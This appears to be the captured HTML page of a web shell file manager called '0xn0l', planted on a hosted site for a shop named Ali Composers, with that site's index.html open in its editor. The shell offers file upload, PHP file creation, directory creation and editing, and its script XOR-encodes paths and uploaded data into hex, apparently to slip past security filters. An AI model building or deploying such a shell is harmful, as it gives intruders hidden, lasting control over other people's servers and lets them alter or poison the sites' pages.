grthtrhthjhtyjytjytkergtrhtrjytjerhrfh<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>0xn0l</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: "Courier New", "Lucida Console", "Bitstream Vera Sans Mono", monospace;
font-size: 15px;
image-rendering: pixelated;
min-height: 100vh;
padding: 26px 16px;
}
body.night {
background: #0b1026;
background-image: radial-gradient(rgba(255,255,255,0.25) 1px, transparent 1px), radial-gradient(rgba(255,255,255,0.15) 2px, transparent 2px);
background-size: 34px 34px, 52px 52px;
color: #e9e9e9;
}
.wrap { max-width: 1150px; margin: 0 auto; }

.box {
border: 4px solid #000;
box-shadow: 8px 8px 0 rgba(0,0,0,0.9);
padding: 14px 16px;
margin-bottom: 18px;
}
body.night .box { background: #1b2a4a; border-color: #05070f; box-shadow: 8px 8px 0 #05070f; }

.top { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 12px; margin-bottom: 18px; }
.logo {
font-size: 34px; font-weight: bold; letter-spacing: 3px; text-transform: uppercase;
text-shadow: 3px 3px 0 rgba(0,0,0,0.35);
}
body.night .logo { color: #f2f2f2; text-shadow: 3px 3px 0 #05070f; }

.btn, .mini {
font-family: inherit;
font-weight: bold;
text-transform: uppercase;
letter-spacing: 1px;
border: 4px solid #000;
box-shadow: 5px 5px 0 #000;
cursor: pointer;
text-decoration: none;
display: inline-block;
color: #111;
transition: none;
}
.btn { padding: 11px 16px; font-size: 15px; }
.mini { padding: 5px 8px; font-size: 12px; border-width: 3px; box-shadow: 3px 3px 0 #000; }
body.night .btn, body.night .mini { background: #3b4a6b; color: #e9e9e9; border-color: #05070f; box-shadow: 5px 5px 0 #05070f; }
body.night .mini { box-shadow: 3px 3px 0 #05070f; }
.btn:hover, .mini:hover { transform: translate(-2px, -2px); box-shadow: 7px 7px 0 #000; }
body.night .btn:hover, body.night .mini:hover { box-shadow: 7px 7px 0 #05070f; }
.btn:active, .mini:active { transform: translate(3px, 3px); box-shadow: 1px 1px 0 #000; }
.mini.danger { background: #e05a5a !important; color: #111; }
.mini.gold { background: #f5c542 !important; color: #111; }

.pathbar { word-break: break-all; font-weight: bold; }

.toolbar { display: flex; flex-wrap: wrap; gap: 12px; align-items: center; margin-bottom: 18px; }
.toolbar form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }

input, textarea {
font-family: inherit;
font-size: 14px;
padding: 9px 10px;
border: 3px solid #000;
background: #fff;
color: #111;
}
body.night input, body.night textarea { background: #141d33; color: #e9e9e9; border-color: #05070f; }
textarea { width: 100%; min-height: 320px; resize: vertical; line-height: 1.4; }
input:focus, textarea:focus { outline: none; border-color: #ffd83d; }

.msg { padding: 10px 14px; font-weight: bold; margin-bottom: 16px; border: 3px solid #000; box-shadow: 4px 4px 0 #000; }
body.night .msg { background: #2c3e6b; }

table.fm { width: 100%; border-collapse: collapse; }
table.fm th, table.fm td { border: 2px solid #000; padding: 9px 10px; text-align: left; vertical-align: middle; }
table.fm th { background: #c68642; color: #111; text-transform: uppercase; letter-spacing: 1px; }
body.night table.fm th { background: #2c3e6b; color: #e9e9e9; }
body.night table.fm td { background: #16203a; }
.acts { display: flex; gap: 6px; flex-wrap: wrap; align-items: center; }
.acts form { display: inline-flex; gap: 5px; }
.acts input { padding: 4px 6px; font-size: 12px; border-width: 2px; }
a.dir, a.file { color: inherit; text-decoration: none; font-weight: bold; }
a.dir:hover, a.file:hover { text-decoration: underline; color: #ffd83d; }
.empty { padding: 24px; text-align: center; font-weight: bold; }
.editbar { display: flex; gap: 12px; align-items: center; margin-bottom: 12px; flex-wrap: wrap; }
.foot { margin-top: 18px; text-align: center; font-weight: bold; letter-spacing: 1px; opacity: 0.8; }
</style>
</head>
<body class="night">
<div class="wrap">

<div class="box pathbar">&#128194; /home/brightbrai/public_html/alicomposers</div>

<div class="toolbar">
<a class="btn" href="?d=7a3d3a38307a37273c323d213727343c7a252037393c360a3d213839">&#11014; UP</a>

<form method="post" id="upform">
<input type="hidden" name="d" value="7a3d3a38307a37273c323d213727343c7a252037393c360a3d2138397a34393c363a38253a26302726">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="name" id="upname">
<input type="hidden" name="data" id="updata">
<input type="file" id="upfile">
<button class="btn" type="submit">UPLOAD</button>
</form>

<form method="post">
<input type="hidden" name="d" value="7a3d3a38307a37273c323d213727343c7a252037393c360a3d2138397a34393c363a38253a26302726">
<input type="hidden" name="act" value="new_file">
<input type="text" name="name" placeholder="new file.php">
<button class="btn" type="submit">NEW FILE</button>
</form>

<form method="post">
<input type="hidden" name="d" value="7a3d3a38307a37273c323d213727343c7a252037393c360a3d2138397a34393c363a38253a26302726">
<input type="hidden" name="act" value="new_dir">
<input type="text" name="name" placeholder="new dir">
<button class="btn" type="submit">NEW DIR</button>
</form>
</div>


<div class="box">
<div class="editbar">
<span style="font-weight:bold;">&#9998; EDIT: index.html</span>
<a class="btn" href="?d=7a3d3a38307a37273c323d213727343c7a252037393c360a3d2138397a34393c363a38253a26302726">&#8592; BACK</a>
</div>
<form method="post" id="editform" onsubmit="return _encEdit(this);">
<input type="hidden" name="d" value="7a3d3a38307a37273c323d213727343c7a252037393c360a3d2138397a34393c363a38253a26302726">
<input type="hidden" name="act" value="save">
<input type="hidden" name="target" value="index.html">
<input type="hidden" name="data" id="editdata">
<textarea name="content" id="editcontent">
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Ali Composers Sanghar - Shop Management&lt;/title&gt;
    &lt;link rel=&quot;manifest&quot; href=&quot;/alicomposers/assets/manifest-B7mag1eN.json&quot;&gt;
    &lt;meta name=&quot;theme-color&quot; content=&quot;#161e2e&quot;&gt;
    &lt;link rel=&quot;apple-touch-icon&quot; href=&quot;logo.png&quot;&gt;
    &lt;script src=&quot;https://cdn.tailwindcss.com&quot;&gt;&lt;/script&gt;
    &lt;link href=&quot;https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&amp;family=Poppins:wght@500;600;700;800&amp;family=Source+Code+Pro:wght@400;600;700&amp;display=swap&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;style&gt;
        :root {
            /* Backgrounds */
            --bg-main: #0a0f18;
            --bg-panel: #161e2e;
            --bg-card: #1f2937;
            --bg-hover: #374151;
            --bg-selected: #4B5563;

            /* Text */
            --text-primary: #FFFFFF;
            --text-secondary: #9CA3AF;
            --text-disabled: #6B7280;
            --text-placeholder: #6B7280;
            --text-inverse: #000000;
            --text-accent: #22D3EE;

            /* Primary Button */
            --btn-primary-bg: linear-gradient(135deg, #22D3EE, #818CF8);
            --btn-primary-text: #000000;
            --btn-primary-shadow: 0 4px 14px 0 rgba(34, 211, 238, 0.4);
            --btn-primary-hover-shadow: 0 8px 24px rgba(34, 211, 238, 0.5);
            --btn-primary-hover-transform: translateY(-2px);

            /* Inputs */
            --input-bg: #1f2937;
            --input-border: #374151;
            --input-text: #FFFFFF;
            --input-focus-border: #22D3EE;
            --input-focus-shadow: rgba(34, 211, 238, 0.3);

            /* Panel */
            --panel-border: rgba(255, 255, 255, 0.1);
            --panel-shadow: none;

            /* Statuses */
            --status-success-bg: rgba(16, 185, 129, 0.1);
            --status-success-text: #10B981;
            --status-warning-bg: rgba(245, 158, 11, 0.1);
            --status-warning-text: #F59E0B;
            --status-error-bg: rgba(239, 68, 68, 0.1);
            --status-error-text: #EF4444;
            --status-info-bg: rgba(59, 130, 246, 0.1);
            --status-info-text: #3B82F6;
        }

        body.light {
            /* Backgrounds */
            --bg-main: #F9FAFB;
            --bg-panel: #FFFFFF;
            --bg-card: #F1F5F9;
            --bg-hover: #E5EEF9;
            --bg-selected: #DBEAFE;

            /* Text */
            --text-primary: #111827;
            --text-secondary: #374151;
            --text-disabled: #9CA3AF;
            --text-placeholder: #6B7280;
            --text-inverse: #FFFFFF;
            --text-accent: #2563EB;

            /* Primary Button */
            --btn-primary-bg: #2563EB;
            --btn-primary-text: #FFFFFF;
            --btn-primary-shadow: 0 4px 14px 0 rgba(37, 99, 235, 0.3);
            --btn-primary-hover-shadow: 0 8px 24px rgba(37, 99, 235, 0.4);
            --btn-primary-hover-transform: translateY(-2px);

            /* Inputs */
            --input-bg: #FFFFFF;
            --input-border: #94A3B8;
            --input-text: #111827;
            --input-focus-border: #2563EB;
            --input-focus-shadow: rgba(37, 99, 235, 0.25);
            
            /* Panel */
            --panel-border: #94A3B8;
            --panel-shadow: 0 4px 6px -1px rgb(0 0 0 / 0.05), 0 2px 4px -2px rgb(0 0 0 / 0.05);

            /* Statuses */
            --status-success-bg: #DCFCE7;
            --status-success-text: #166534;
            --status-warning-bg: #FEF3C7;
            --status-warning-text: #92400E;
            --status-error-bg: #FEE2E2;
            --status-error-text: #991B1B;
            --status-info-bg: #DBEAFE;
            --status-info-text: #1E40AF;
        }

        body {
            font-family: &#039;Inter&#039;, sans-serif;
            background-color: var(--bg-main);
            min-height: 100vh;
            margin: 0;
            overflow-x: hidden;
            color: var(--text-primary);
            font-size: 0.9375rem; 
            transition: background-color 0.3s ease, color 0.3s ease;
            zoom: 0.9;
        }

        h1, h2, h3, h4, h5, h6 { font-family: &#039;Poppins&#039;, sans-serif; }

        .solid-panel {
            background-color: var(--bg-panel);
            border: 1px solid var(--panel-border);
            box-shadow: var(--panel-shadow);
            transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease;
        }

        .btn-primary {
            background: var(--btn-primary-bg);
            color: var(--btn-primary-text);
            font-weight: 700;
            transition: all 0.2s ease;
            box-shadow: var(--btn-primary-shadow);
        }

        .btn-primary:hover {
            transform: var(--btn-primary-hover-transform);
            box-shadow: var(--btn-primary-hover-shadow);
        }
        body.light .btn-primary:hover { background: #1D4ED8; }
        body.dark .btn-primary:hover { filter: brightness(1.25); }


        .input-solid {
            background: var(--input-bg);
            border: 1px solid var(--input-border);
            color: var(--input-text);
            transition: all 0.2s ease;
        }
        .input-solid::placeholder { color: var(--text-placeholder); }

        .input-solid:focus {
            border-color: var(--input-focus-border);
            box-shadow: 0 0 0 3px var(--input-focus-shadow);
            outline: none;
        }
        body:not(.light) .input-solid:focus { background: #2d3748; }

        ::-webkit-scrollbar { width: 10px; }
        ::-webkit-scrollbar-thumb { background: rgba(128, 128, 128, 0.3); border-radius: 10px; }

        /* Specific Tailwind overrides for light mode */
        body.light .text-text-secondary { color: var(--text-secondary) !important; }
        body.light .text-text-primary { color: var(--text-primary) !important; }

        body.light .bg-black\/10 { background-color: var(--bg-card) !important; }
        body.light .bg-black\/20 { background-color: var(--bg-card) !important; }
        body.light .bg-black\/40 { background-color: var(--bg-card) !important; }
        body.light .hover\:bg-black\/10:hover { background-color: var(--bg-hover) !important; }
        body.light .hover\:bg-black\/20:hover { background-color: var(--bg-hover) !important; }
        body.light .hover\:bg-white\/5:hover, body.light .hover\:bg-white\/10:hover { background-color: var(--bg-hover) !important; }

        body.light .border-white\/5, body.light .border-white\/10 { border-color: var(--panel-border) !important; }
        body.light .divide-white\/5 &gt; :not([hidden]) ~ :not([hidden]) { border-color: var(--panel-border) !important; }

        /* Colored Text &amp; BG Overrides */
        body.light .text-cyan-400, body.light .text-cyan-300 { color: var(--text-accent) !important; }
        body.light .text-green-400 { color: var(--status-success-text) !important; }
        body.light .text-red-400 { color: var(--status-error-text) !important; }
        body.light .text-orange-400 { color: var(--status-warning-text) !important; }
        body.light .text-amber-400, body.light .text-amber-500 { color: var(--status-warning-text) !important; }
        body.light .text-indigo-400, body.light .text-indigo-300 { color: var(--status-info-text) !important; }
        body.light .text-slate-400 { color: var(--text-secondary) !important; }
        
        body.light .bg-green-500\/10, body.light .bg-green-500\/20 { background-color: var(--status-success-bg) !important; }
        body.light .bg-red-500\/10, body.light .bg-red-500\/20 { background-color: var(--status-error-bg) !important; }
        body.light .bg-amber-500\/10, body.light .bg-amber-500\/20 { background-color: var(--status-warning-bg) !important; }
        body.light .bg-cyan-500\/10, body.light .bg-cyan-500\/20 { background-color: var(--status-info-bg) !important; }
        body.light .bg-indigo-500\/10, body.light .bg-indigo-500\/20 { background-color: var(--status-info-bg) !important; }
        body.light .bg-orange-500\/10, body.light .bg-orange-500\/20 { background-color: var(--status-warning-bg) !important; }
        body.light .bg-slate-500\/10, body.light .bg-slate-500\/20 { background-color: #E2E8F0 !important; color: #475569 !important; }
        
        /* Glow effects */
        body.light .glow-cyan { text-shadow: 0 0 10px rgba(37, 99, 235, 0.4); }
        body.light .glow-red { text-shadow: 0 0 10px rgba(220, 38, 38, 0.4); }
        body.light .glow-green { text-shadow: 0 0 10px rgba(22, 163, 74, 0.4); }
        body.light .glow-orange { text-shadow: 0 0 10px rgba(217, 119, 6, 0.4); }

        .print-only { display: none; }

        @media print {
            .no-print { display: none !important; }
            .print-only { display: block !important; }
            html, body, #root {
                background: white !important;
                color: black !important;
                overflow: visible !important;
                height: auto !important;
                margin: 0 !important;
                padding: 0 !important;
                width: 100% !important;
                zoom: 1 !important;
            }
            .print-layout-a4 table {
                width: 100% !important;
                border-collapse: collapse !important;
                page-break-inside: auto !important;
            }
            .print-layout-a4 tr {
                page-break-inside: avoid !important;
                page-break-after: auto !important;
            }
            .print-layout-a4 th, .print-layout-a4 td {
                border: 1px solid #ddd !important;
                color: black !important;
                padding: 8px !important;
            }
        }
    &lt;/style&gt;

&lt;link rel=&quot;stylesheet&quot; href=&quot;/index.css&quot;&gt;
&lt;script type=&quot;importmap&quot;&gt;
{
  &quot;imports&quot;: {
    &quot;react&quot;: &quot;https://esm.sh/react@^19.2.3&quot;,
    &quot;react-dom/&quot;: &quot;https://esm.sh/react-dom@^19.2.3/&quot;,
    &quot;@supabase/supabase-js&quot;: &quot;https://esm.sh/@supabase/supabase-js@^2.90.1&quot;,
    &quot;react/&quot;: &quot;https://esm.sh/react@^19.2.3/&quot;,
    &quot;lucide-react&quot;: &quot;https://esm.sh/lucide-react@^0.562.0&quot;,
    &quot;recharts&quot;: &quot;https://esm.sh/recharts@^3.6.0&quot;,
    &quot;vite&quot;: &quot;https://esm.sh/vite@^7.3.1&quot;,
    &quot;@vitejs/plugin-react&quot;: &quot;https://esm.sh/@vitejs/plugin-react@^5.1.2&quot;,
    &quot;html2pdf.js&quot;: &quot;https://esm.sh/html2pdf.js@^0.14.0&quot;,
    &quot;idb&quot;: &quot;https://esm.sh/idb@^8.0.0&quot;,
    &quot;uuid&quot;: &quot;https://esm.sh/uuid@^9.0.1&quot;
  }
}
&lt;/script&gt;
  &lt;script type=&quot;module&quot; crossorigin src=&quot;/alicomposers/assets/index-C14peSxZ.js&quot;&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body class=&quot;selection:bg-cyan-500/30&quot;&gt;
    &lt;div id=&quot;root&quot;&gt;&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea>
<br><br>
<button class="btn" type="submit">SAVE</button>
</form>
</div>

<div class="foot">0xn0l - 0011000001111000011011100011000001101100</div>
</div>
<script>
function _utf8(s) { return unescape(encodeURIComponent(s)); }
function _xhex(s) {
var o = '';
for (var i = 0; i < s.length; i++) {
var c = (s.charCodeAt(i) ^ 85).toString(16);
if (c.length < 2) c = '0' + c;
o += c;
}
return o;
}
function _encEdit(form) {
var txt = _utf8(document.getElementById('editcontent').value);
document.getElementById('editdata').value = _xhex(txt);
return true;
}
(function(){
var upFile = document.getElementById('upfile');
var upName = document.getElementById('upname');
var upData = document.getElementById('updata');
var upForm = document.getElementById('upform');
if (!upFile || !upForm) return;
upFile.addEventListener('change', function(){
var f = upFile.files[0];
if (!f) return;
upName.value = f.name;
upData.value = '';
var r = new FileReader();
r.onload = function(){
var b64 = String(r.result).split(',')[1] || '';
upData.value = _xhex(b64);
};
r.readAsDataURL(f);
});
upForm.addEventListener('submit', function(e){
if (!upFile.files.length || !upData.value) {
e.preventDefault();
alert('Choose a file and wait until it is read.');
}
});
})();
</script>
</body>
</html>